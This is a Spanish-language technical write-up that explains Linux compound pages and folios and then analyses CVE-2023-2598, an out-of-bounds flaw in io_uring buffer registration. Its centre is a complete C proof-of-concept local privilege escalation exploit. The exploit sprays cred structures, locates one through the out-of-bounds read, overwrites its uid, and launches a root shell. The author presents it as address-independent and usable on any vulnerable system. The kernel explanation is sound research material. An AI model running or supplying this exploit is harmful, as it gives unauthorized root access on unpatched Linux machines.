
Análisis técnico y exploit de prueba de concepto para CVE-2023-2598, una vulnerabilidad de escalada de privilegios en el kernel de Linux en el registro de búfer de io_uring, con explicación detallada de los internals de Compound Page y folio.
A través de CVE-2023-2598, comprender los mecanismos de Compound Page y folio en Linux, y posteriormente ver si se puede completar la explotación del 1day CVE-2023-6560.
La memoria es cada vez mayor, pero la unidad básica de asignación de páginas de Linux sigue siendo de 4K, lo que resulta insuficiente. Por ello, se introdujeron las páginas compuestas (compound pages) para resolver este problema. Una página compuesta consiste básicamente en tratar varias páginas como un conjunto, combinando dos o más páginas físicamente contiguas en una unidad que, en muchos aspectos, puede considerarse como una única página más grande. Se utilizan con mayor frecuencia para crear páginas grandes, como en los subsistemas hugetlbfs o de páginas grandes transparentes (transparent huge pages), pero también aparecen en otros escenarios. Las páginas compuestas pueden usarse como memoria anónima o como buffers en el kernel; sin embargo, no pueden aparecer en el page cache, ya que este solo puede manejar páginas individuales.
Asignar una página compuesta consiste en llamar a alloc_pages() con el flag de asignación __GFP_COMP y un número de marcos de página mayor que 1, es decir, un order de al menos 1. Esto viene determinado por el mecanismo de implementación de las páginas compuestas.
Nota: las páginas compuestas siempre son físicamente contiguas
El flag del primer page marca PG_head, indicando que se trata de la head page de la página compuesta;
Todos los pages posteriores se configuran con dos atributos: mapping y compound_head, y mediante compound_head se confirma si es una tail page o una head page; para más detalle, consulta la función compound_head();
En el segundo page se almacena más información de la página compuesta, razón por la cual el order de una página compuesta debe ser al menos 1;
static inline unsigned long _compound_head(const struct page *page)
{
unsigned long head = READ_ONCE(page->compound_head);
if (unlikely(head & 1))
return head - 1;
return (unsigned long)page;
}
Se puede ver que este campo no solo contiene el flag, sino también un puntero a la head page.
Por lo tanto, al obtener un page, se puede determinar fácilmente si es una página compuesta y, de serlo, si es una head page o una tail page. Pero aún falta una información clave: el tamaño de la página compuesta. Si no se conoce el tamaño de la página compuesta, se necesitará conocerlo al liberarla (free). Toda esta información se almacena en el campo lru de la primera tail page: el tamaño (order) de la página compuesta se convierte primero al tipo puntero y se guarda en lru.prev, mientras que el destructor se guarda en lru.next.
Con solo conocer la head page y el tamaño de la página compuesta, se puede liberar correctamente esta página grande, porque las páginas compuestas siempre son físicamente contiguas.
La estructura se muestra en la siguiente figura:

El folio puede verse como una capa de envoltura sobre page, sin sobrecarga alguna. Un folio puede ser una sola página o una página compuesta.

La figura anterior es un diagrama esquemático de la estructura page. Sus 64 bytes gestionan información como flags, lru, mapping, index, private, {ref_, map_}count, memcg_data, etc. Cuando el page es una página compuesta, la información mencionada (flags, etc.) se encuentra en la head page, mientras que la tail page reutiliza la gestión de información como compound_{head, mapcount, order, nr, dtor}, etc.
struct folio {
/* private: don't document the anon union */
union {
struct {
/* public: */
unsigned long flags;
struct list_head lru;
struct address_space *mapping;
pgoff_t index;
void *private;
atomic_t _mapcount;
atomic_t _refcount;
#ifdef CONFIG_MEMCG
unsigned long memcg_data;
#endif
/* private: the union with struct page is transitional */
};
struct page page;
};
};
En la definición de la estructura folio, la información como flags, lru, etc., es exactamente igual que en page, por lo que se puede hacer union con page. De esta manera, se puede usar directamente folio->flags sin tener que usar folio->page->flags.
#define page_folio(p) (_Generic((p), \
const struct page *: (const struct folio *)_compound_head(p), \
struct page *: (struct folio *)_compound_head(p)))
#define nth_page(page,n) ((page) + (n))
#define folio_page(folio, n) nth_page(&(folio)->page, n)
A primera vista, page_folio puede resultar un poco confuso; en realidad es equivalente a:
switch (typeof(p)) {
case const struct page *:
return (const struct folio *)_compound_head(p);
case struct page *:
return (struct folio *)_compound_head(p)));
}
A través de la definición de la macro page_folio, se puede descubrir que un folio es en realidad la head page de una página compuesta. Cuando se convierte un folio en page, folio->page se usa para obtener la head page, y folio_page(folio, n) se puede usar para obtener la tail page.
Entonces, ¿para qué sirve el folio? Sobre todo, por consideraciones de desarrollo y eficiencia. Sin folio, las funciones no pueden determinar si el page actual es una head page, por lo que necesitan llamar a _compound_head. Si hay muchas rutas de ejecución, que cada función de la ruta use _compound_head afectaría a la eficiencia. En cambio, si la función solo acepta un parámetro struct folio *, ese folio apunta a la head page, por lo que la función ya no necesita llamar a _compound_head.
Por lo tanto, cumple principalmente estas tres funciones:
Reducir el exceso de llamadas redundantes a compound_head.
Dar una pista al desarrollador: al ver un folio, se puede afirmar que es la head page.
Corregir posibles bugs causados por tail pages.
En io_uring_register_buffer de io_uring, existe esta lógica:

Cuando el número de páginas pasadas desde el espacio de usuario es mayor que 1, io_uring comprueba si el buffer pasado es un folio. El método de comprobación consiste en usar page_folio() para obtener la head page de page[i]; si la head page de page[i] es igual a page[0], se considera que ambas pertenecen a la misma página compuesta.
En general, este manejo no presenta problemas, pero existe un caso especial: si en el espacio de usuario se usa mmap para mapear la misma página física en direcciones virtuales contiguas, también se cumple esta condición de comprobación, por lo que finalmente se entra en esta rama:

En este momento, el espacio de usuario solo ha asignado una página física, pero el size final es el size de las direcciones virtuales contiguas, lo que provoca que size pueda ser mayor que la región de direcciones físicas realmente asignada. Finalmente, esto causa una lectura/escritura fuera de los límites (out-of-bounds).
Hacer un spray de cred y, a continuación, usar esta interfaz de lectura/escritura fuera de los límites para modificar el uid.
En comparación con el exp publicado en internet, este exp, al reescribir el uid, no tiene dependencia de direcciones; cualquier sistema con esta vulnerabilidad puede usar este exp.
#define _GNU_SOURCE
#include <stdio.h>
#include <sys/mman.h>
#include <string.h>
#include <liburing.h>
#include <stdio.h>
#include <fcntl.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <mqueue.h>
#include <sys/syscall.h>
#include <unistd.h>
#include <sys/resource.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/tcp.h>
#include <assert.h>
#define COLOR_RED "\033[1;31m"
#define COLOR_GREEN "\033[1;32m"
#define COLOR_RESET "\033[0m"
#define PAGE_SIZE 0x1000
#define MAX_PAGES 100
#define CRED_DRAIN 100
#define CRED_SPRAY 600
#define check_ret(ret, buf) do { if((ret) < 0) { err_exit(buf); } } while(0)
int check_root_pipe[2];
char bin_sh_str[] = "/bin/sh";
char *shell_args[] = { bin_sh_str, NULL };
char child_pipe_buf[1];
char root_str[] = "\033[32m\033[1m[+] Successful to get the root.\n"
"\033[34m[*] Execve root shell now...\033[0m\n";
struct timespec timer = {
.tv_sec = 1145141919,
.tv_nsec = 0,
};
void err_exit(char *buf){
fprintf(stderr, "%s[-]%s : %s%s\n", COLOR_RED, buf, strerror(errno), COLOR_RESET);
exit(-1);
}
void log(char *buf){
fprintf(stdout,"%s[+]%s%s\n",COLOR_GREEN,buf,COLOR_RESET);
}
void cred_drain(){
for(int i=0;i<CRED_DRAIN;i++){
int ret=fork();
if(!ret){
read(check_root_pipe[0],child_pipe_buf,1);
if(getuid()==0){
write(1, root_str, 71);
system("/bin/sh");
}
sleep(100000000);
}
check_ret(ret,"fork fail");
}
}
void clear_buddy(){
void * pages[MAX_PAGES];
for(int i=0;i<MAX_PAGES;i++){
pages[i]=mmap(0x60000000+i*0x200000UL,PAGE_SIZE,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANONYMOUS,-1,0);
check_ret(pages[i],"mmap");
}
for(int i=0;i<MAX_PAGES;i++){
*(char *)pages[i]='a';
}
}
__attribute__((naked)) long simple_clone(int flags, int (*fn)(void *))
{
/* for syscall, it's clone(flags, stack, ...) */
__asm__ volatile (
" mov r15, rsi\n" /* save the rsi*/
" xor rsi, rsi\n" /* set esp and useless args to NULL */
" xor rdx, rdx\n"
" xor r10, r10\n"
" xor r8, r8\n"
" xor r9, r9\n"
" mov rax, 56\n" /* __NR_clone */
" syscall\n"
" cmp rax, 0\n"
" je child_fn\n"
" ret\n" /* parent */
"child_fn: \n"
" jmp r15\n" /* child */
);
}
int waiting_for_root_fn(void *args)
{
/* we're using the same stack for them, so we need to avoid cracking it.. */
__asm__ volatile (
" lea rax, [check_root_pipe]\n"
" xor rdi, rdi\n"
" mov edi, dword ptr [rax]\n"
" mov rsi, child_pipe_buf\n"
" mov rdx, 1\n"
" xor rax, rax\n" /* read(check_root_pipe[0], child_pipe_buf, 1)*/
" syscall\n"
" mov rax, 102\n" /* getuid() */
" syscall\n"
" cmp rax, 0\n"
" jne failed\n"
" mov rdi, 1\n"
" lea rsi, [root_str]\n"
" mov rdx, 80\n"
" mov rax, 1\n" /* write(1, root_str, 71) */
" syscall\n"
" lea rdi, [bin_sh_str]\n"
" lea rsi, [shell_args]\n"
" xor rdx, rdx\n"
" mov rax, 59\n"
" syscall\n" /* execve("/bin/sh", args, NULL) */
"failed: \n"
" lea rdi, [timer]\n"
" xor rsi, rsi\n"
" mov rax, 35\n" /* nanosleep() */
" syscall\n"
);
return 0;
}
int main(){
cpu_set_t set;
CPU_ZERO(&set);
CPU_SET(sched_getcpu(), &set);
if (sched_setaffinity(0, sizeof(set), &set) < 0) {
perror("sched_setaffinity");
exit(EXIT_FAILURE);
}
struct io_uring ring;
struct io_uring_sqe *sqe;
struct io_uring_cqe *cqe;
int ret;
int memfd;
int rw_fd;
struct iovec iovec;
char *rw_buffer;
uint64_t start_addr=0x800000000;
int nr_pages=500;
char buf[1000];
//清空cred cache
log("drain cred cache");
pipe(check_root_pipe);
cred_drain();
//清空buddy system cache
log("clear buddy system cache");
clear_buddy();
//初始化io_uring
log("io_uring_setup");
ret=io_uring_queue_init(8,&ring,0);
check_ret(ret,"io_uring_setup fail");
//准备缓冲区
log("prepare buf to register");
memfd=memfd_create("io_register_buf",MFD_CLOEXEC);
check_ret(memfd,"memfd_create fail");
rw_fd=memfd_create("read_write_file",MFD_CLOEXEC);
check_ret(rw_fd,"memfd_create fail");
check_ret(fallocate(memfd, 0, 0, 1 * PAGE_SIZE),"fallocate fail");
check_ret(fallocate(rw_fd, 0, 0, 1 * PAGE_SIZE),"fallocate fail");
for(int i=0;i<nr_pages;i++){
check_ret(mmap(start_addr+i*0x1000,PAGE_SIZE,PROT_READ|PROT_WRITE,MAP_SHARED|MAP_FIXED,memfd,0),"mmap fail");
}
rw_buffer=mmap(NULL,PAGE_SIZE,PROT_READ|PROT_WRITE,MAP_SHARED,rw_fd,0);
check_ret(rw_buffer,"mmap fail");
//注册缓冲区
log("register buffer");
iovec.iov_base=start_addr;
iovec.iov_len=nr_pages*PAGE_SIZE;
check_ret(io_uring_register_buffers(&ring,&iovec,1),"io_ring_register_buffer fail");
//spray cred
log("spray cred");
for(int i=0;i<CRED_SPRAY;i++){
check_ret(simple_clone(CLONE_FILES | CLONE_FS | CLONE_VM | CLONE_SIGHAND, waiting_for_root_fn),"clone fail");
}
//search cred page
log("search crea page");
int page_offset=0;
for(int i=0;i<nr_pages;i++){
sqe=io_uring_get_sqe(&ring);
check_ret(sqe,"io_uring_get_sqe fail");
io_uring_prep_write_fixed(sqe,rw_fd,start_addr+i*PAGE_SIZE,PAGE_SIZE,0,0);
check_ret(io_uring_submit(&ring),"io_uring_submit fail");
io_uring_wait_cqe(&ring, &cqe);
io_uring_cqe_seen(&ring, cqe);
int uid=((int *)(rw_buffer))[1];
int gid=((int *)(rw_buffer))[2];
if(uid==1000 && gid==1000){
page_offset=i;
break;
}
}
if(page_offset==0){
err_exit("not find cred page");
}
//edit cred's uid
log("/edit cred's uid");
*(size_t *)(rw_buffer)=0x2;
sqe=io_uring_get_sqe(&ring);
check_ret(sqe,"io_uring_get_sqe fail");
io_uring_prep_read_fixed(sqe,rw_fd,start_addr+page_offset*PAGE_SIZE,8,0,0);
check_ret(io_uring_submit(&ring),"io_uring_submit fail");
io_uring_wait_cqe(&ring, &cqe);
io_uring_cqe_seen(&ring, cqe);
sqe=io_uring_get_sqe(&ring);
check_ret(sqe,"io_uring_get_sqe fail");
io_uring_prep_write_fixed(sqe,rw_fd,start_addr+page_offset*PAGE_SIZE,PAGE_SIZE,0,0);
check_ret(io_uring_submit(&ring),"io_uring_submit fail");
io_uring_wait_cqe(&ring, &cqe);
io_uring_cqe_seen(&ring, cqe);
//check privilege in child processes
log("check privilege in child processes");
write(check_root_pipe[1],buf, CRED_SPRAY+CRED_DRAIN);
sleep(100000000);
}
Observa este código:

Si lo que se pasa es realmente una página compuesta y se registra, io_uring no incrementa el contador de referencias de los pages posteriores. Si el espacio de usuario desmapea (unmap) el medio de esta página compuesta, la región de memoria correspondiente se liberará por completo porque su contador de referencias es solo 1, pero el size registrado en io_uring no cambia, por lo que se puede realizar una lectura/escritura fuera de los límites a través de io_uring. Lo más lamentable de todo es que, tras mis pruebas, Linux no permite desmapear desde el medio de una página compuesta; aunque también es razonable, porque si se pudiera, la gestión de las pages sería muy difícil.